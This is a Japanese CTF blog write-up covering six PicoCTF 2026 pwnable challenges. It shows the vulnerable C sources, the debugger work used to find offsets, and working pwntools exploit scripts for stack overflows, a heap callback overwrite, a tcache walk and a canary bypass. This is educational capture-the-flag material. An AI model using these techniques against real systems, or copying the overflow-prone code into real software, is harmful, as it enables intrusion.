1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

PicoCTF2026 Writeup(Pwnableのみ)

1
Posted at

はじめに

こんにちは、MooseLoveと申します。

1週間ほど前、PicoCTF2026にTeam Kiraraとして参加しました。

結果として、グローバルが767位 / 8747位
日本人学生では30位 / 131位でした。まずまずの結果です。

image.png

という事で、今回は自分が解いたPwnableのWriteupをまとめていきたいと思います。

私のようなPwnable初学者には楽しんでいただけるような内容にはなっていると思いますので、最後まで読んでいただければ幸いです。

自己紹介

  • 20歳 情報系の大学に通っている大学2年生
  • 情報処理安全確保支援士試験 合格(登録セキスペには未登録)
  • Python Java HTML CSS PHPくらいならなんとかギリわかる
  • バグバウンティ / HackTheBoxは引退気味

セキュリティ・キャンプ2026コネクトに向けて修行中です。

Writeup-Pwnable

Echo Escape 1

C言語プログラムと実行ファイルが渡される。

いつも通りchmodコマンドで実行権限を付与し、適当に実行してみます。

┌──(myenv)─(kali㉿kali)-[~/Desktop]
└─$ chmod +x vuln      
                                                                                                                     
┌──(myenv)─(kali㉿kali)-[~/Desktop]
└─$ ./vuln                                               
Welcome to the secure echo service!
Please enter your name: mooselove
Hello, mooselove

Thank you for using our service.

名前を聞かれてそれに解答すると、解答した文字列がHello, hogeとなって出力される感じですね。

なんとな~くオーバーフローを起こせそうな予感。プログラムを見てみましょう。

#include <stdio.h>
#include <unistd.h>
#include <string.h>

void win() {
    FILE *fp = fopen("flag.txt", "rb");
    if (!fp) {
        perror("[!] Failed to open flag.txt");
        return;
    }

    char buffer[128];
    size_t n = fread(buffer, 1, sizeof(buffer), fp);
    fwrite(buffer, 1, n, stdout);
    fflush(stdout);
    printf("\n");
    fclose(fp);
}

int main() {
    char buf[32]; 

    printf("Welcome to the secure echo service!\n");
    printf("Please enter your name: ");
    fflush(stdout);

    read(0, buf, 128);

    printf("Hello, %s\n", buf);
    printf("Thank you for using our service.\n");

    return 0;
}

winに行くことが出来ればflag.txtを取得できることが分かります。

推測通り、スタックオーバーフローで間違いないみたいですね。

21 : char buf[32]; 

bufの領域は32バイトです。しかし27行目には

read(0, buf, 128);

このように、128バイト分の入力をbufの中に入れてしまいます。これではbufの領域をハミ出して、隣のスタックにも値を入力出来てしまいます。

よって、スタックオーバーフローを用いてリターンアドレスをwinのアドレスで上書きし、無理やりwinを実行させましょう。
※ リターンアドレスは、関数の処理が終わったあとに、呼び出し元のどの命令位置へ戻るかを示すアドレスです。

攻撃方針が決まったので、まずは下準備。

winのアドレスと、bufとリターンアドレスまでのオフセットを求めていきましょう。

Checksecコマンドで確認した結果、PIEは無し。つまりアドレスは固定です。

まず、winのアドレスを確認します。nmコマンドの結果がこちら。

┌──(myenv)─(kali㉿kali)-[~/Desktop]
└─$ nm vuln                                      
0000000000403e20 d _DYNAMIC
0000000000404000 d _GLOBAL_OFFSET_TABLE_
0000000000402000 R _IO_stdin_used
0000000000402204 r __FRAME_END__
000000000040209c r __GNU_EH_FRAME_HDR
0000000000404078 D __TMC_END__
0000000000404078 B __bss_start
0000000000404068 D __data_start
0000000000401220 t __do_global_dtors_aux
0000000000403e18 d __do_global_dtors_aux_fini_array_entry
0000000000404070 D __dso_handle
0000000000403e10 d __frame_dummy_init_array_entry
                 w __gmon_start__
0000000000403e18 d __init_array_end
0000000000403e10 d __init_array_start
00000000004013f0 T __libc_csu_fini
0000000000401380 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
00000000004011a0 T _dl_relocate_static_pie
0000000000404078 D _edata
0000000000404088 B _end
00000000004013f8 T _fini
0000000000401000 T _init
0000000000401170 T _start
0000000000404080 b completed.8061
0000000000404068 W data_start
00000000004011b0 t deregister_tm_clones
                 U fclose@@GLIBC_2.2.5
                 U fflush@@GLIBC_2.2.5
                 U fopen@@GLIBC_2.2.5
0000000000401250 t frame_dummy
                 U fread@@GLIBC_2.2.5
                 U fwrite@@GLIBC_2.2.5
00000000004012fb T main
                 U perror@@GLIBC_2.2.5
                 U printf@@GLIBC_2.2.5
                 U putchar@@GLIBC_2.2.5
                 U puts@@GLIBC_2.2.5
                 U read@@GLIBC_2.2.5
00000000004011e0 t register_tm_clones
0000000000404078 B stdout@@GLIBC_2.2.5
0000000000401256 T win

1番最後にありますね。アドレスは0x00401256であることが分かります。

最終的なペイロードのイメージとしては、オフセットまで適当な文字を入力して、最後にリターンアドレスを追加するという流れです。

しかしこの場合、ビッグエンディアンとリトルエンディアンの場合でバイト列が異なります。

ビッグエンディアンの場合

"A" * ? + b"\x00\x40\x12\x56"

普通にアドレスを左から入力していきます。

リトルエンディアンの場合

"A" * ? + b"\x56\x12\x40\x00"

気持ちが悪いですよね。

この場合右から2バイトずつ56,12,40,00と入れていきます。

ではどうやってリトルエンディアン、ビッグエンディアンを特定すれば良いのでしょう?

そこで登場するのがodコマンドです。以下の魔法のコマンドで特定ができます。

┌──(myenv)─(kali㉿kali)-[~/Desktop]
└─$ echo -n "1234ABCD" | od -t x
0000000 34333231 44434241
0000010

このような出力の場合、リトルエンディアンです。よって、ペイロードは

b"A" * ? + b"\x56\x12\x40\x00"

になります。ちなみにビッグエンディアンの場合

0000000 31323334 41424344
0000010

となります。覚えてられるか。

では、次にbufのオフセットを調べていきましょう。cyclicコマンドでオフセット特定用の文字列を生成していきます。

┌──(myenv)─(kali㉿kali)-[~]
└─$ pwn cyclic 45 
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaal

見て貰えば分かる通り、4バイトごとにパターンの違う文字列が作成されます。

その後、-lオプションでRIP(リターンアドレス)の値をコピペすれば、オフセットが特定できます。gdbコマンドで試してみましょう。

gdb-peda$ run
Starting program: /home/kali/Desktop/vuln 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to the secure echo service!
Please enter your name: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaal
Hello, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaal

Thank you for using our service.

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffde68 --> 0x7fffffffe1cd ("/home/kali/Desktop/vuln")
RCX: 0x7ffff7e17790 --> 0x0 
RDX: 0x7ffff7e17790 --> 0x0 
RSI: 0x405310 ("Thank you for using our service.\naahaaaiaaajaaakaaal\n\n")
RDI: 0x0 
RBP: 0x6161616a61616169 ('iaaajaaa')
RSP: 0x7fffffffdd60 --> 0x0 
RIP: 0xa6c6161616b ('kaaal\n')

RIPが上書きされ、0xa6c6161616b ('kaaal\n')と出ていますね。

┌──(myenv)─(kali㉿kali)-[~]
└─$ pwn cyclic -l 0xa6c6161616b
40

という事で、bufとリターンアドレスまでの間隔は40バイトであることが分かりました。つまり40文字を適当な文字列で埋め、その後アドレスを書いたら、そのアドレスまで飛ぶことが可能になります。

それでは、最後にこの問題を解くためのプログラムです。

from pwn import *

io = remote("mysterious-sea.picoctf.net", xxxxx)
f_payload = b"A"*40 + b"\x56\x12\x40\x00"
io.sendline(f_payload)
print(io.recvall(timeout=2).decode(errors="replace"))

Pwntoolsをインポートし、リモート先に接続。

リトルエンディアン用のペイロードをsendlineで送信し、最後にその結果を受け取ることで、末尾にあるフラグを取得することが出来ました。

Echo Escape 2

再びC言語プログラムと実行ファイルが渡されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void win() {
    FILE *fp = fopen("flag.txt", "r");
    if (!fp) {
        perror("[!] Could not open flag.txt");
        exit(1);
    }

    char flag[128];
    fgets(flag, sizeof(flag), fp);
    printf("Flag: %s\n", flag);
    fflush(stdout);
    fclose(fp);
}

void vuln() {
    char buf[32];  

    printf("Enter the secret key: ");
    fflush(stdout);

    fgets(buf, 128, stdin);

    printf("You entered:, %s\n", buf);
}

int main() {
    vuln();
    puts("Goodbye!");
    return 0;
}

先ほどと同じようなプログラムで、スタックオーバーフロー脆弱性が確認できます。

buf[32]に対しfgetsでは128文字を取得するように設定されているため、EIPを改ざんし、winを実行することが可能です。

先ほどとほとんど同じ流れなのでテキパキ行きましょう。

nmコマンドとodコマンドの結果、このプログラムはリトルエンディアンかつwin関数のアドレスは0x08049276であることが分かりました。

つまりペイロードのイメージは

b"A" * ? + b"\x76\x92\x04\x08"

となります。先ほどのようにcyclicとgdbを使い、オフセットを求めていきましょう。

ret実行後にEIPが改ざんされるため、retの部分にブレークポイントを置きます。

   0x08049394 <+108>:   add    esp,0x10
   0x08049397 <+111>:   nop
   0x08049398 <+112>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x0804939b <+115>:   leave
   0x0804939c <+116>:   ret
End of assembler dump.
gdb-peda$ b *0x0804939c
Breakpoint 1 at 0x804939c

cyclicコマンドで得た文字列を貼りつけ、ブレークポイントで停止したら、ni(命令を1進める)を実行します。

[----------------------------------registers-----------------------------------]
EAX: 0x42 ('B')
EBX: 0x6161616a ('jaaa')
ECX: 0x0 
EDX: 0x0 
ESI: 0x80493f0 (<__libc_csu_init>:      endbr32)
EDI: 0xf7ffcc60 --> 0x0 
EBP: 0x6161616b ('kaaa')
ESP: 0xffffcf20 --> 0xa616d ('ma\n')
EIP: 0x6161616c ('laaa')
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)

EIPが0x6161616cとなったため、オフセットを求めます。

┌──(myenv)─(kali㉿kali)-[~/Desktop]
└─$ pwn cyclic -l 0x6161616c
44

オフセットは44であることが分かりました。

この問題を解くためのプログラムは以下の通りです。

from pwn import *

io = remote("dolphin-cove.picoctf.net", xxxxx)
f_payload = b"A"*44 + b"\x76\x92\x04\x08"
io.sendline(f_payload)
print(io.recvall(timeout=2).decode(errors="replace"))

Echo Escape 1と比べて変化したのはオフセットとwinのアドレス程度です。1が解ければ、こちらの問題もサクサク解けるはずです。

Quizploit

名前の通り、クイズ問題です。脆弱性を突くわけでもなく、Pwnableに関する知識を答えていく感じです。ちょっと今回の趣旨とは違うので割愛させていただきます。

Heap Havoc

名前からしてスタックではなく、ヒープ問の予感。プログラムは以下の通り。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <time.h>

struct internet {
    int priority;
    char *name;
    void (*callback)();
};

void winner() {
    FILE *fp;
    char flag[256];

    fp = fopen("flag.txt", "r");
    if (fp == NULL) {
        perror("Error opening flag.txt");
        exit(1);
    }

    if (fgets(flag, sizeof(flag), fp) != NULL) {
        printf("FLAG: %s\n", flag);
    } else {
        printf("Error reading flag\n");
    }

    fclose(fp);
}

int main(int argc, char **argv) {
    struct internet *i1, *i2, *i3;
    printf("Enter two names separated by space:\n");
    fflush(stdout);   
    if (argc != 3) {
        printf("Usage: ./vuln <name1> <name2>\n", argv[0]);
        fflush(stdout);  
        return 1;
    }

i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i1->callback = NULL;

i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
i2->callback = NULL;

strcpy(i1->name, argv[1]);  
strcpy(i2->name, argv[2]); 

if (i1->callback) i1->callback();
if (i2->callback) i2->callback();

    printf("No winners this time, try again!\n");
}

このプログラムを実行した結果がこちらです。なるほど、引数が2つ必要らしい。

┌──(myenv)─(kali㉿kali)-[~/Desktop]
└─$ ./vuln
Enter two names separated by space:
Usage: ./vuln <name1> <name2>
                                                                                                                   
┌──(myenv)─(kali㉿kali)-[~/Desktop]
└─$ ./vuln moose love         
Enter two names separated by space:
No winners this time, try again!

プログラムを見ると、mallocで8バイトのチャンクを2つ確保し、strcpy関数で比較しているみたいですね。その後

if (i1->callback) i1->callback();
if (i2->callback) i2->callback();

を実行し、printfでNo winners this time, try again!を出力するといった流れのようです。

ここで、strcpy関数とは、文字列のコピーをするための関数です。

しかし、サイズを確認しないためオーバーフローの危険性のある関数であり、今回はargv[1],argv[2]のバイト長をそのままi1,i2に格納することが出来ます。よって、ヒープオーバーフローが可能となります。

今回の攻撃方針としては、i1のヒープオーバーフローによってi2のcallbackアドレスをwinnerのアドレスに改ざんし、フラグを出力...といった感じです。

具体的に説明します。

i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i1->callback = NULL;

i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
i2->callback = NULL;

この時点で、ヒープはこのような状態になっています。

1回目malloc : [chunk header][i1 struct]
2回目malloc : [chunk header][i1->name の 8バイト領域]

3回目malloc : [chunk header][i2 struct]
4回目malloc : [chunk header][i2->name の 8バイト領域]

※mallocをした際、そのチャンクに関するチャンクヘッダが先頭に格納されます。

よって、2回目mallocの[i1->name の 8バイト領域]の部分でオーバーフローを起こし、3回目mallocにあるi2 struct内のcallback関数をwinner関数アドレスに書き換えることで、後のプログラムがi2.callback関数を呼び出した際、winner関数が呼び出されるようにしていきます。

チャンクヘッダは今回(32bit)の場合だと、たいてい8バイトです。

よってペイロードは

b"A" * (i1.nameを埋める(8バイト) + チャンクヘッダ(8バイト) + i2.priority(4バイト)) + i2.name(改ざん必要※後述) + i2.callback(ここをwinner関数アドレスに変える)

となりますね。i2.nameの改ざんが必要な理由は、nameの中をAAAAといったように埋めてしまうと、ポインタ変数的にちょっとまずいみたいで、ちゃんとしたアドレスを入力しないとエラーを吐いてしまうみたいです...

よって、今回はreadelfコマンドで書き込み可能なアドレスを調べていきます。

┌──(myenv)─(kali㉿kali)-[~/Desktop]
└─$ readelf -S ./vuln
There are 31 section headers, starting at offset 0x3908:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        080481b4 0001b4 000013 00   A  0   0  1
  [ 2] .note.gnu.bu[...] NOTE            080481c8 0001c8 000024 00   A  0   0  4
  [ 3] .note.gnu.pr[...] NOTE            080481ec 0001ec 00001c 00   A  0   0  4
  [ 4] .note.ABI-tag     NOTE            08048208 000208 000020 00   A  0   0  4
  [ 5] .gnu.hash         GNU_HASH        08048228 000228 000020 04   A  6   0  4
  [ 6] .dynsym           DYNSYM          08048248 000248 0000f0 10   A  7   1  4
  [ 7] .dynstr           STRTAB          08048338 000338 000096 00   A  0   0  1
  [ 8] .gnu.version      VERSYM          080483ce 0003ce 00001e 02   A  6   0  2
  [ 9] .gnu.version_r    VERNEED         080483ec 0003ec 000030 00   A  7   1  4
  [10] .rel.dyn          REL             0804841c 00041c 000010 08   A  6   0  4
  [11] .rel.plt          REL             0804842c 00042c 000058 08  AI  6  24  4
  [12] .init             PROGBITS        08049000 001000 000024 00  AX  0   0  4
  [13] .plt              PROGBITS        08049030 001030 0000c0 04  AX  0   0 16
  [14] .plt.sec          PROGBITS        080490f0 0010f0 0000b0 10  AX  0   0 16
  [15] .text             PROGBITS        080491a0 0011a0 0003b9 00  AX  0   0 16
  [16] .fini             PROGBITS        0804955c 00155c 000018 00  AX  0   0  4
  [17] .rodata           PROGBITS        0804a000 002000 0000ad 00   A  0   0  4
  [18] .eh_frame_hdr     PROGBITS        0804a0b0 0020b0 000054 00   A  0   0  4
  [19] .eh_frame         PROGBITS        0804a104 002104 000150 00   A  0   0  4
  [20] .init_array       INIT_ARRAY      0804bf08 002f08 000004 04  WA  0   0  4
  [21] .fini_array       FINI_ARRAY      0804bf0c 002f0c 000004 04  WA  0   0  4
  [22] .dynamic          DYNAMIC         0804bf10 002f10 0000e8 08  WA  7   0  4
  [23] .got              PROGBITS        0804bff8 002ff8 000008 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804c000 003000 000038 04  WA  0   0  4
  [25] .data             PROGBITS        0804c038 003038 000008 00  WA  0   0  4
  [26] .bss              NOBITS          0804c040 003040 000004 00  WA  0   0  1
  [27] .comment          PROGBITS        00000000 003040 00002b 01  MS  0   0  1
  [28] .symtab           SYMTAB          00000000 00306c 0004d0 10     29  45  4
  [29] .strtab           STRTAB          00000000 00353c 0002ae 00      0   0  1
  [30] .shstrtab         STRTAB          00000000 0037ea 00011d 00      0   0  1

Flgの部分にWがあるアドレスを適当にいくつか試していきます。

nmコマンドの結果、winner関数のアドレスは"080492b6"であると分かりました。

最終的なプログラムは以下の通りです。

#!/usr/bin/env python3
from pwn import *
HOST = "foggy-cliff.picoctf.net"
PORT = xxxxx
WINNER = 0x080492b6
NAME_ADD = 0x0804c040
name1 = b"A" * 20 + p32(NAME_ADD) + p32(WINNER)
name2 = b"K"
line = name1 + b" " + name2
io = remote(HOST, PORT)
io.recvuntil(b"Enter two names separated by space:\n")
io.sendline(line)
print(io.recvall(timeout=3).decode(errors="ignore"))

プログラムの実行条件(引数2つ)を満たすため、適当な値Kをname2に格納し、それらを送信します。

このペイロードを実行したらそのアドレスが実行...というわけではなく、今回はi2.callback関数のアドレスを改ざんしました。よって、元のプログラムより

if (i2->callback) i2->callback();

この部分でcallback()を実行するはずが、アドレスが書き換えられているためwinner()が実行されてしまい、フラグが出力されるというオチです。

個人的にヒープはスタックよりも複雑で、かなり苦手です...

tea-cash

名前からしてtcacheのことかな?プログラムは以下の通り。
※tcacheは、malloc()で領域を確保した後、それを解放するfree()などを使用した際にその領域をリストとして保持する空き領域リストのようなもの。全部がtcacheに行くわけではないですが、詳しい説明は省きます。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <inttypes.h>

#define CHUNK_COUNT 6
#define CHUNK_SIZE 0x80           
#define FLAG_FILE "flag.txt"
#define FLAG_OFFSET (sizeof(void *))  

static int is_known_chunk(void *p, void *chunks[], int n) {
    for (int i = 0; i < n; ++i) {
        if (chunks[i] == p) return 1;
    }
    return 0;
}
int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    void *chunks[CHUNK_COUNT];
    char flag_buf[256] = {0};
    FILE *f = fopen(FLAG_FILE, "r");
    if (!f) {
        fprintf(stderr, "Could not open %s\n", FLAG_FILE);
        return 1;
    }
    if (!fgets(flag_buf, sizeof(flag_buf), f)) {
        fclose(f);
        fprintf(stderr, "Could not read flag from %s\n", FLAG_FILE);
        return 1;
    }
    fclose(f);
  
    size_t flen = strlen(flag_buf);
    if (flen && flag_buf[flen-1] == '\n') {
        flag_buf[flen-1] = '\0';
        flen--;
    }
    if (FLAG_OFFSET + flen >= CHUNK_SIZE) {
        fprintf(stderr, "Flag too large for chunk. Increase CHUNK_SIZE or reduce flag length.\n");
        return 1;
    }
    for (int i = 0; i < CHUNK_COUNT; ++i) {
        chunks[i] = malloc(CHUNK_SIZE);
        if (!chunks[i]) {
            fprintf(stderr, "malloc failed at i=%d\n", i);
            for (int j = 0; j < i; ++j) free(chunks[j]);
            return 1;
        }
        memset(chunks[i], 0, CHUNK_SIZE);
    }
    memcpy((char*)chunks[CHUNK_COUNT-1] + FLAG_OFFSET, flag_buf, flen + 1);
    void *head = chunks[0]; 
    printf("tcache head (start of free list) -> %p\n", head);
for (int i = CHUNK_COUNT - 1; i >= 0; --i) {
    free(chunks[i]);
}

    void *expected = head;
    for (int i = 0; i < CHUNK_COUNT; ++i) {
        void *user_addr = NULL;
        printf("Chunk %d address: ", i+1);
        if (scanf("%p", &user_addr) != 1) {
            fprintf(stderr, "Invalid input. Exiting.\n");
            return 1;
        }

        if (user_addr != expected) {
            fprintf(stderr, "Wrong address. Got %p. Exiting.\n", user_addr);
            return 1;
        }

        void *next = NULL;
        memcpy(&next, user_addr, sizeof(void *)); 

        if (next != NULL && !is_known_chunk(next, chunks, CHUNK_COUNT)) {
            fprintf(stderr, "Detected invalid next pointer value %p (not one of allocated chunks). Aborting to avoid crash.\n", next);
            fprintf(stderr, "Dump of first 16 bytes at %p: ", user_addr);
            unsigned char *b = user_addr;
            for (size_t z = 0; z < 16; ++z) {
                fprintf(stderr, "%02x ", b[z]);
            }
            fprintf(stderr, "\n");
            return 1;
        }

        expected = next;
    }
    char *flag_loc = (char*)chunks[CHUNK_COUNT-1] + FLAG_OFFSET;
    printf("Correct traversal! Flag: %s\n", flag_loc);

    return 0;
}

長ったらしいプログラムです。ひとまず何も考えず実行してみます。

┌──(myenv)─(kali㉿kali)-[~/Desktop/tea-cash]
└─$ nc candy-mountain.picoctf.net 54449
tcache head (start of free list) -> 0x261c1490
Chunk 1 address: 0x261c1490
Chunk 2 address: 0x114514810
Wrong address. Got 0x114514810. Exiting.

なるほど、tcacheのチャンク1がリークされていて、最初はそれを入力したらChunk2のアドレスを聞かれる。その繰り返しという感じですね。

改めてプログラムを確認した結果、以下の流れであることがわかりました。

  1. まず malloc() を 6 回実行して、chunk1 から chunk6 を作成する
  2. フラグは chunk6 + 8 に置かれている
  3. free を 6 回実行すると、chunk1 から chunk6 が解放され、空き領域が tcache に入る。
    tcache リストは chunks1,2,3,4,5,6,null
  4. 問題側が最初に chunk0 のアドレスをリークしてくれる(やさしい)
  5. チャンクサイズは 0x80、チャンクヘッダは 0x10(16 バイト)なので、間隔は 0x90
  6. chunk1 から chunk5 のアドレスを順番に聞かれる
    リークされた値を基準に chunk1 + 0x90 を次のアドレスとして送信する
  7. これを chunk5 まで繰り返してフラグを取得する

よって、以下のプログラムでフラグを取得します。

from pwn import *
import re
io = remote("candy-mountain.picoctf.net", 52902)
line = io.recvline_contains(b"tcache head")
add = int(re.search(br"0x[0-9a-fA-f]+",line).group(0),16)
i = 0
while 6 > i:
    io.sendline(hex(add + 0x90 * i).encode())
    data = io.recvrepeat(0.5)
    print(data)
    i += 1

「?」な部分として

line = io.recvline_contains(b"tcache head")
add = int(re.search(br"0x[0-9a-fA-f]+",line).group(0),16)

これがあると思います。

recvline_containsは()内の文字列が来るまで相手側の出力を受け取るといったものです。

また、re.searchは()内の正規表現にヒットする文字列を捜索するものであり、今回はtcache headアドレスである0x????????を受け取るようにしています。

先ほどから使っているPwntoolsはCTFのPwnable問題を解くのに大変便利であるため、知っておいて損はないと思います。

offset-cycle

この問題は少し特殊です。ncでサーバーに接続後、./startを実行すると以下が作成されます。

①ランダムな数値.c (例)19.c
②それに対応する実行プログラム

しかし、120秒でこの2つが削除されてしまい、次に./startをするとファイル名の数値とBUFSIZEが変更されてしまいます。

ひとまず消えてしまう前にCプログラムを確認することにします。

プログラムは以下の通り。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "CodeBank/asm.h"

#define BUFSIZE 99
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("CodeBank/flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "You may not have plenty of time",
                    "to solve the challenge.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

vuln関数内のgets(buf)に脆弱性がありますね。

これなら上限BUFSIZEを超える量の文字列を格納できてしまい、オーバーフローが発生します。

時間との戦いです。

ひとまずcyclicを用いてオフセットを求めましょう。

ctf-player@pico-chall$ gdb -q 19
Reading symbols from 19...
(No debugging symbols found in 19)
(gdb) run
Starting program: /home/ctf-player/19 
Please enter your string: 
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
Okay, time to return... Fingers Crossed... Jumping to 0x61616462

0x616116462 改ざん出来てそうな感じですね。

ctf-player@pico-chall$ pwn cyclic -l 0x61616462
111

オフセットは111 これにBUFSIZEを引くと12となります。

BUFSIZE(今回は99) → 12バイトの領域 → リターンアドレス

といった感じになりましたね。多分12バイトの領域にはsaved ebpなりなんなりが入っているのでしょう。念のためもう一度./startをして確認しても、bufの終端からリターンアドレスまでの距離は12となり、同じ結果でした。

では、winアドレスを確認してプログラムを書いていきましょう。

ctf-player@pico-chall$ nm 19
0804bf10 d _DYNAMIC
0804c000 d _GLOBAL_OFFSET_TABLE_
0804a004 R _IO_stdin_used
0804a260 r __FRAME_END__
0804a0b8 r __GNU_EH_FRAME_HDR
0804c03c D __TMC_END__
0804c03c B __bss_start
0804c034 D __data_start
080491c0 t __do_global_dtors_aux
0804bf0c d __do_global_dtors_aux_fini_array_entry
0804c038 D __dso_handle
0804bf08 d __frame_dummy_init_array_entry
         w __gmon_start__
0804bf0c d __init_array_end
0804bf08 d __init_array_start
080493c0 T __libc_csu_fini
08049350 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
080493c5 T __x86.get_pc_thunk.bp
08049130 T __x86.get_pc_thunk.bx
08049120 T _dl_relocate_static_pie
0804c03c D _edata
0804c040 B _end
080493cc T _fini
0804a000 R _fp_hw
08049000 T _init
080490e0 T _start
0804c03c b completed.7623
0804c034 W data_start
08049140 t deregister_tm_clones
         U exit@@GLIBC_2.0
         U fgets@@GLIBC_2.0
         U fopen@@GLIBC_2.1
080491f0 t frame_dummy
0804933e T get_return_address
         U getegid@@GLIBC_2.0
         U gets@@GLIBC_2.0
080492c4 T main
         U printf@@GLIBC_2.0
         U puts@@GLIBC_2.0
08049180 t register_tm_clones
         U setresgid@@GLIBC_2.0
         U setvbuf@@GLIBC_2.0
         U stdout@@GLIBC_2.0
08049281 T vuln
080491f6 T win

win関数のアドレスは0x080491f6です。

今回はリモートから実行する形ではなく、直接ローカルに私のプログラムを貼りつけて実行し、フラグを得る形にします。

from pwn import *

NUMBER = 4          # ./start後の番号
BUFSIZE = 22        # 手動で確認した値
WIN_ADDR = 0x080491f6

OFFSET = BUFSIZE + 12

io = process(f"./{NUMBER}")
io.recvuntil(b"Please enter your string:")
io.sendline(b"A" * OFFSET + p32(WIN_ADDR))
print(io.recvall(timeout=2).decode(errors="replace"))

NUMBERBUFSIZEは手動です。汚くてゴメンナサイ。

offset-cycleV2

先ほどの問題のVersion2です。

今回は猶予の120秒が80秒に改悪、更にスタックオーバーフロー対策としてカナリアが追加されました。

カナリアが書き換えられるとオーバーフローが検知されてしまい、プログラムを強制的に終了されてしまいます。

よって、しっかりとお望み通りの値をカナリア領域に入れ、リターンアドレスまで辿り着く必要があります。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 33
#define CANARY_SIZE 4
#define FLAGSIZE 64

char global_canary[CANARY_SIZE];

void win() {
    char flag[FLAGSIZE];
    FILE *f = fopen("CodeBank/flag.txt", "r");

    if (!f) {
        puts("Missing flag.txt.");
        exit(0);
    }

    fgets(flag, FLAGSIZE, f);
    puts(flag);
}

void load_canary() {
    FILE *f = fopen("CodeBank/flag.txt", "r");

    if (!f) {
        puts("Missing flag.txt.");
        exit(0);
    }

    fread(global_canary, 1, CANARY_SIZE, f);
    fclose(f);
}

void vuln() {
    char local_canary[CANARY_SIZE];
    char buf[BUFSIZE];
    char input[BUFSIZE];
    int count, i = 0;

    memcpy(local_canary, global_canary, CANARY_SIZE);

    printf("How many bytes?\n> ");
    while (i < BUFSIZE && read(0, &input[i], 1) == 1 && input[i] != '\n')
        i++;

    sscanf(input, "%d", &count);

    printf("Input> ");
    read(0, buf, count);

    if (memcmp(local_canary, global_canary, CANARY_SIZE) != 0) {
        puts("***** Stack Smashing Detected *****");
        exit(0);
    }

    puts("Ok... Now Where's the flag?");
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
#if defined(__linux__)
    setresgid(getegid(), getegid(), getegid());
#endif

    load_canary();
    vuln();
    return 0;
}

プログラムの流れとしては、まずカナリアを読み取ってvulnを実行し、何バイト読み取るのかを受け取ります。その後、そのバイト分bufを読み取り、memcmpでカナリアが正しいかを比較し、1文字でも違えば強制終了してしまうみたいです。

readでオーバーフローが可能ですね。最初の入力で10と指定して11バイト書き込む、といった具合です。

まずこのプログラムから分かるのは、canaryの値は必ず"pico"であることです。

void load_canary() {
    FILE *f = fopen("CodeBank/flag.txt", "r");

    if (!f) {
        puts("Missing flag.txt.");
        exit(0);
    }

    fread(global_canary, 1, CANARY_SIZE, f);
    fclose(f);
}

fread関数にて、flag.txtからCANARY_SIZEバイト分をglobal_canaryに格納しています。

CANARY_SIZEは4であるため、flag.txtの内容であるpicoCTF{xxxxxx}の最初の4バイトであるpicoが入れられると推測できます。

よって、今回のペイロードのイメージとしては

b"A" * ?(buf領域の開始~CANARY直前までのバイト数) + CANARY(4バイト"pico") + b"B" * ?(CANARY終端からリターンアドレス開始直前までのバイト数) + リターンアドレス(WIN関数のアドレス)

といった具合になります。

後は、前回と同じようにcyclicとgdbを用いてオフセットとWIN関数のアドレスを取得していくだけです。今回も同じく、ローカルで実行する形とします。

from pwn import *

NUMBER = 4
io = process(f"./{NUMBER}")
BUF_ADD = 0x21d #ここ流動
CANARY_ADD = 0x10 #おそらく固定
OFFSET = BUF_ADD - CANARY_ADD
RETURN_ADD = -0x4 #固定
OFFSET2 = BUF_ADD - RETURN_ADD
WIN = 0x08049316 #固定
payload  = b"A"*OFFSET
payload += b"pico"
payload += b"B"*(OFFSET2 - OFFSET -4)
payload += p32(WIN)

io.sendlineafter(b"> ", str(len(payload)).encode())
io.sendafter(b"Input> ", payload)
io.interactive()

BUF_ADDはstart実行後に変更する必要があります。

payload += b"B"*(OFFSET2 - OFFSET -4)

この-4は書き込んだCANARYの分を引いているため

OFFSET : BUFの開始アドレス ~ CANARYの開始アドレス
OFFSET2 : リターンアドレス ~ CANARYの開始アドレス - CANARYに書き込んだ4バイト

